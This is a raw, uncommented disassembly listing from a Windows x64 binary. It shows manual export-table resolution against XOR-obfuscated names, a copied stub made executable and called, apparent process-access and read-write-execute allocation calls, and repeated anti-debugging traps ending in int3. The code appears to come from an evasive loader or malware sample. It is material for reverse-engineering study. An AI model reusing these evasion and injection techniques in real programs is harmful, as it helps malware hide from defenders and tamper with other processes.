movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14005dbe4
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x14005dbe4
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400d1a7c
or dword [rbp + 0x1e5f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1d270]
call fcn.14006a02c
lea rcx, [rbp + 0x1d270]
call fcn.14006931c
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
mov rdi, rbx
lea rcx, [rbp + 0x1d270]
call fcn.14006931c
mov eax, eax
mov qword [rbp + rdi*8 + 0x28510], rax
inc rdi
cmp rdi, 0x200
jl 0x14005dafa
mov r8d, 0x1000
lea rdx, [rbp + 0x28510]
mov rcx, rsi
call fcn.1400fbf70
mov dword [0x1401324b4], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x1401324b0]
movsd qword [rdi], xmm0
movzx eax, word [0x1401324b8]
mov word [rdi + 8], ax
mov al, byte [0x1401324ba]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdac], ebx
lea r9, [rbp + 0xdac]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov r14d, 0x1000
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xc58]
lea r8, [rbp + 0xc68]
mov edx, 0x1fffff
lea rcx, [rbp + 0xbf8]
call rdi
mov edi, eax
lea r9, [rbp + 0xdac]
mov r8d, dword [rbp + 0xdac]
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r14d
xor edx, edx
mov rcx, rsi
call fcn.1400fc610
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1401324b4], ebx
test edi, edi
js 0x14005dbf6
mov rax, qword [rbp + 0xbf8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x14005dc05
mov qword [rbp + 0xbf8], rbx
mov ecx, r12d
call fcn.140051cf4
movabs r14, 0x1110daaef
mov r15d, 0x7dfe5890
mov r12d, 1
mov esi, 0xfd6ccd6d
mov r10d, 0x930f525f
mov r11d, 0xdeadbeef
mov rax, qword [rbp + 0xbf8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x14005df5a
mov rax, qword gs:[0x3f]
cmp rax, r15
jne 0x14005dd4d
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14005dc60
xor rdi, r10
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, r15
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd38]
and rdx, rax
mov rcx, qword [rbp + 0xd48]
and rcx, rdx
mov rax, qword [rbp + 0xd40]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005df44
add edi, r12d
cmp edi, 7
jl 0x14005dceb
movdqa xmm0, xmmword [0x1401234f0]
movdqu xmmword [rbp + 0x6a8], xmm0
mov byte [rbp + 0x6b8], 0x55
mov byte [rbp + 0x6b9], 0x7b
mov byte [rbp + 0x6ba], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x6bb], recvfrom
mov byte [rbp + 0x6bc], 0xc9
mov byte [rbp + 0x6bd], 0x85
mov byte [rbp + 0x6be], 0xa4
xor eax, eax
mov byte [rbp + 0x6bf], al
mov rdi, rbx
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6a8]
lea rcx, [rbp + 0x6a8]
call fcn.140068d7c
xor al, dil
mov byte [rbp + rdi + 0x6a8], al
add rdi, r12
cmp rdi, 0x17
jb 0x14005dd99
mov byte [rbp + 0x6bf], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x6a8]
call fcn.140051d44
mov rax, qword gs:[0x3f]
cmp rax, r15
jne 0x14005df5a
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r10d, 0x930f525f
mov r13d, 0xfeefbfff
mov ecx, r8d
mov rdx, r15
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r12d
cmp r8d, 8
jl 0x14005de0b
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005df4f
add edi, r12d
cmp edi, 5
jl 0x14005dece
jmp 0x14005df60
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, r15
jne 0x14005e08d
mov rdi, rbx
mov r8d, r14d
movabs r10, 0x5684fef9ad4a0fe0
sub r8d, r12d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005dfc3
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005df88
mov rax, rdi
xor rax, rdi
xor rax, r15
mov qword [rbp + 0xd38], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov r10d, 0x930f525f
xor rcx, r10
mov qword [rbp + 0xd40], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r15
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd48], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
or rdx, rax
mov rcx, qword [rbp + 0xd40]
or rcx, rdx
mov rax, qword [rbp + 0xd38]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005e9c6
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14005e027
movdqa xmm0, xmmword [0x140123530]
movdqu xmmword [rbp + 0x2d0], xmm0
xor eax, eax
mov byte [rbp + 0x2e0], al
mov rdi, rbx
movabs r13, 0x1110daaef
mov qword [rsp + 0x20], r13
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d0]
lea rcx, [rbp + 0x2d0]
call fcn.140068b34
xor al, dil
mov byte [rbp + rdi + 0x2d0], al
add rdi, r12
cmp rdi, r14
jb 0x14005e0b2
mov byte [rbp + 0x2e0], bl
lea rcx, [rbp + 0x2d0]
call fcn.1400521d4
mov rax, qword gs:[0x3f]
cmp rax, r15
mov r13, qword [rbp + 0x50]
jne 0x14005e248
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov esi, 0xfeefbfff
mov r10d, 0x2aaaaaab
mov r13d, 0x930f525f
mov ecx, r8d
mov rdx, r15
shl rdx, cl
mov rax, r13
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r12d
cmp r8d, 8
jl 0x14005e124
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
mov edi, ebx
mov r13, qword [rbp + 0x50]
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005e9d1
add edi, r12d
cmp edi, 5
jl 0x14005e1e8
lea rdi, [rbp + 0x28400]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14005e5d1
mov rax, qword gs:[0x3f]
cmp rax, r15
jne 0x14005e38b
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14005e293
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, r15
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd38]
and rdx, rax
mov rcx, qword [rbp + 0xd48]
and rcx, rdx
mov rax, qword [rbp + 0xd40]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005e9dc
add edi, r12d
cmp edi, 7
jl 0x14005e329
movdqa xmm0, xmmword [str.G_tB_n]
movdqu xmmword [rbp + 0x940], xmm0
movdqa xmm1, xmmword [0x1401232c0]
movdqu xmmword [rbp + 0x950], xmm1
mov byte [rbp + 0x960], 0xe2
mov byte [rbp + 0x961], 0xb3
xor eax, eax
mov byte [rbp + 0x962], al
mov r8, rbx
movabs rsi, 0x1110daaef
movabs r9, 0x2443d0b3e0
lea r10d, [rax + 0x22]
movabs r11, 0x8080808080808081
movabs r13, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x940]
xor dil, r8b
mov byte [rbp + r8 + 0x940], dil
add r8, r12
add r9, r13
add r10, 0x22
movabs rax, 0x4887a167c0
cmp r9, rax
jb 0x14005e3f0
mov byte [rbp + 0x962], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x940]
call fcn.140051d44
mov rax, qword gs:[0x3f]
cmp rax, r15
mov r13, qword [rbp + 0x50]
mov esi, 0xfd6ccd6d
jne 0x14005e5d1
mov r9d, esi
mov rdi, rbx
mov r8d, ebx
mov ebx, 0xfeefbfff
mov r10d, 0x2aaaaaab
mov r13d, 0x930f525f
mov rdx, r13
mov ecx, r8d
sar rdx, cl
mov rax, r15
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
cmp r8d, 8
jl 0x14005e4ab
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd38], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
xor ebx, ebx
mov edi, ebx
mov r13, qword [rbp + 0x50]
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005e9e7
add edi, r12d
cmp edi, 5
jl 0x14005e571
mov edi, dword [r13 + 0x50]
mov rax, qword [rbp + 0xbf8]
mov qword [rsp + 0x60], rax
cmp qword [0x140135300], rbx
jne 0x14005e60b
mov ecx, 0x26b0
call fcn.1400e0a28
test rax, rax
je 0x14005e60b
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x140135300], rax
mov qword [rbp + 0xc08], rbx
mov qword [rbp + 0xe58], rdi
movdqa xmm0, xmmword [0x1401234a0]
movdqu xmmword [rbp + 0x690], xmm0
mov byte [rbp + 0x6a0], 0x50
mov byte [rbp + 0x6a1], 0x61
mov byte [rbp + 0x6a2], Ordinal_217
mov byte [rbp + 0x6a3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x6a4], Ordinal_211
mov byte [rbp + 0x6a5], Ordinal_41
mov byte [rbp + 0x6a6], WSACleanup
xor eax, eax
mov byte [rbp + 0x6a7], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x690]
lea rcx, [rbp + 0x690]
call fcn.140069268
xor al, dil
mov byte [rbp + rdi + 0x690], al
add rdi, r12
cmp rdi, 0x17
jb 0x14005e66f
mov byte [rbp + 0x6a7], bl
mov rsi, qword [0x140135300]
test rsi, rsi
je 0x14005e78b
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x14005e73d
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, r14
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e0a28
mov r14, rax
test rax, rax
je 0x14005e781
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x140135300]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400fbf70
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], r14
mov rsi, r14
lea rax, [rbp + 0x690]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0xdf0], Ordinal_33
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x60], 0x7a
mov byte [rbp + 0x61], 0x5c
mov byte [rbp + 0x62], 1
mov byte [rbp + 0x63], 0x84
mov byte [rbp + 0x64], 0x90
mov byte [rbp + 0x65], Ordinal_30
mov byte [rbp + 0x66], 0xe5
mov byte [rbp + 0x67], 0xe3
mov byte [rbp + 0x68], 0x88
xor eax, eax
mov byte [rbp + 0x69], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140069108
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14005e7b7
mov byte [rbp + 0x69], bl
mov rsi, qword [0x140135300]
test rsi, rsi
je 0x14005e8bc
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x14005e87a
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e0a28
mov r14, rax
test rax, rax
je 0x14005e8bc
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x140135300]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400fbf70
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], r14
mov rsi, r14
lea rax, [rbp + 0x60]
mov qword [rbp + 0xde8], rax
mov eax, 0xa
mov qword [rbp + 0xdf0], rax
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14005e94e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14005e94e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005e94e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14005e94e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x14005e94e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x690]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14005e93d
inc rax
test edi, edi
jne 0x14005e928
test r8d, r8d
je 0x14005e9f2
inc rdx
cmp rdx, r14
jb 0x14005e917
mov r15d, ebx
mov rdi, qword [0x140135300]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x14005ebc5
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xdf8], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14005ebb2
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14005ebb2
mov al, byte [rbp + 0xdf8]
test al, al
jne 0x14005eb79
xor edx, edx
call fcn.1400fc610
jmp 0x14005ebb2
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14005e94e
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x14005e94e
mov r9d, 4
mov r13d, 0x3000
mov r8d, r13d
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1400d1a7c
or dword [rbp + 0x1f984], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1e600]
call fcn.14006a02c
lea rcx, [rbp + 0x1e600]
call fcn.14006931c
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
mov rdi, rbx
lea rcx, [rbp + 0x1e600]
call fcn.14006931c
mov eax, eax
mov qword [rbp + rdi*8 + 0x29510], rax
inc rdi
cmp rdi, 0x200
jl 0x14005ea8a
mov r8, r12
lea rdx, [rbp + 0x29510]
mov rcx, r14
call fcn.1400fbf70
mov dword [0x1401324b4], r15d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x1401324b0]
movsd qword [rdi], xmm0
movzx eax, word [0x1401324b8]
mov word [rdi + 8], ax
mov al, byte [0x1401324ba]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdb0], ebx
lea r9, [rbp + 0xdb0]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0xe58]
mov r8d, 3
lea rdx, [rbp + 0xc08]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xdb0]
mov r8d, dword [rbp + 0xdb0]
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, r14
call fcn.1400fc610
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1401324b4], ebx
jmp 0x14005e951
cmp al, 1
jne 0x14005ebb2
mov rdx, rcx
lea rcx, [rbp + 0xeb0]
call fcn.14006996c
xor edx, edx
lea rcx, [rbp + 0xeb0]
call fcn.140069ef8
lea rcx, [rbp + 0xeb0]
call fcn.140069e88
lea rcx, [rbp + 0xeb0]
call fcn.140004028
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x14005e97b
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], rbx
test r15d, r15d
jns 0x14005ebec
mov qword [rbp - 0x18], rbx
jmp 0x14005ec00
mov rcx, qword [rbp + 0xc08]
mov qword [rbp - 0x18], rcx
test rcx, rcx
jne 0x14005ef64
mov rax, qword gs:[0x3f]
mov esi, 0x7dfe5890
cmp rax, rsi
jne 0x14005ed28
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x14005ec23
mov r15d, 0x930f525f
xor r8, r15
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r15
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd38], rax
mov rax, rdi
mov r12d, 0xdeadbeef
or rax, r12
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005ed1d
inc edi
cmp edi, 7
jl 0x14005ecbe
jmp 0x14005ed2e
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r15d, 0x930f525f
movdqa xmm0, xmmword [0x140123260]
movdqu xmmword [rbp + 0x600], xmm0
mov byte [rbp + 0x610], Ordinal_46
mov byte [rbp + 0x611], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x612], 0x9c
mov byte [rbp + 0x613], 0xed
mov byte [rbp + 0x614], reloc.WLDAP32.dll_Ordinal_45
xor eax, eax
mov byte [rbp + 0x615], al
mov r8, rbx
movabs rbx, 0x1110daaf0
lea r9d, [rax + 0x15]
movabs r10, 0x16661f05b0
movabs r11, 0x2ccc3e0b60
movabs r14, 0x8080808080808081
movabs r12, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x600]
xor dil, r8b
mov byte [rbp + r8 + 0x600], dil
inc r8
add r10, rbx
add r9, 0x15
cmp r10, r11
jb 0x14005eda2
xor ebx, ebx
mov byte [rbp + 0x615], bl
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [rbp + 0x600]
call fcn.140051d44
mov rax, qword gs:[0x3f]
cmp rax, rsi
jne 0x14005ef64
mov r9d, 0xfd6ccd6d
mov edi, ebx
mov r8d, ebx
mov r12d, 0xfeefbfff
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r9, rdx
